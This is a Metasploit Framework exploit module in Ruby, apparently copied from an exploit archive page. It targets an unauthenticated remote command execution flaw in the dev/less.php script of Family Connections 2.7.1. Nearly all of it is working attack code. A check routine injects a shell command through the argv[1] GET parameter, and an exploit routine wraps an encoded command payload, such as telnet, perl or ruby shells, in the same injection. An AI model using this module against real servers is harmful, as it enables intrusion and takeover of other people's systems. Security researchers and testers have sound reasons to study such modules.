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TwitterFamily Connections less.php Remote Command Execution
### This file is part of the Metasploit Framework and may be subject to |
# redistribution and commercial restrictions. Please see the Metasploit |
# Framework web site for more information on licensing and terms of use. |
# http://metasploit.com/framework/ |
## |
require 'msf/core' |
class Metasploit3 < Msf::Exploit::Remote |
Rank = ExcellentRanking |
include Msf::Exploit::Remote::HttpClient |
def initialize(info={}) |
super(update_info(info, |
'Name' => 'Family Connections less.php Remote Command Execution', |
'Description' => %q{ |
This module exploits an arbitrary command execution vulnerability in |
Family Connections 2.7.1. It's in the dev/less.php script and is due |
to an insecure use of system(). Authentication isn't required to exploit |
the vulnerability but register_globals must be set to On. |
}, |
'License' => MSF_LICENSE, |
'Author' => |
[ |
'mr_me <steventhomasseeley[at]gmail.com>', # Vulnerability discovery and exploit |
'juan vazquez' # Metasploit module |
], |
'References' => |
[ |
[ 'URL', 'https://www.familycms.com/blog/2011/11/security-vulnerability-fcms-2-5-2-7-1/' ], |
[ 'URL', 'http://sourceforge.net/apps/trac/fam-connections/ticket/407' ], |
[ 'URL', 'http://rwx.biz.nf/advisories/fc_cms_rce_adv.html' ], |
[ 'URL', 'http://www.exploit-db.com/exploits/18198/' ] |
], |
'Privileged' => false, |
'Payload' => |
{ |
'Compat' => |
{ |
'PayloadType' => 'cmd', |
'RequiredCmd' => 'generic telnet perl ruby', |
} |
}, |
'Platform' => ['unix', 'linux'], |
'Arch' => ARCH_CMD, |
'Targets' => [['Automatic',{}]], |
'DisclosureDate' => 'Nov 29 2011', |
'DefaultTarget' => 0 |
)) |
register_options( |
[ |
OptString.new('URI', [true, "The path to the Family Connections main site", "/fcms/"]), |
],self.class) |
end |
def check |
uri = datastore['URI'] |
uri += (datastore['URI'][-1, 1] == "/") ? "dev/less.php" : "/dev/less.php" |
mark = Rex::Text.rand_text_alpha(rand(5) + 5) |
res = send_request_cgi({ |
'uri' => uri, |
'vars_get' => { 'argv[1]' => "|echo #{mark};#" } |
}, 25) |
if res and res.code == 200 and res.body =~ /#{mark}/ |
return Exploit::CheckCode::Vulnerable |
end |
return Exploit::CheckCode::Safe |
end |
def exploit |
uri = datastore['URI'] |
uri += (datastore['URI'][-1, 1] == "/") ? "dev/less.php" : "/dev/less.php" |
start_mark = Rex::Text.rand_text_alpha(rand(5) + 5) |
end_mark = Rex::Text.rand_text_alpha(rand(5) + 5) |
custom_payload = "|echo #{start_mark};#{payload.encoded};echo #{end_mark};#" |
res = send_request_cgi({ |
'uri' => uri, |
'vars_get' => { 'argv[1]' => custom_payload } |
}, 25) |
if res and res.code == 200 and res.body =~ /#{start_mark}/ |
# Prints output when using cmd/unix/generic |
result = res.body.split(/#{start_mark}/)[1].split(/#{end_mark}/)[0] |
if not result.strip.empty? |
print_status("Result of the command:\n#{result}") |
end |
end |
end |
end
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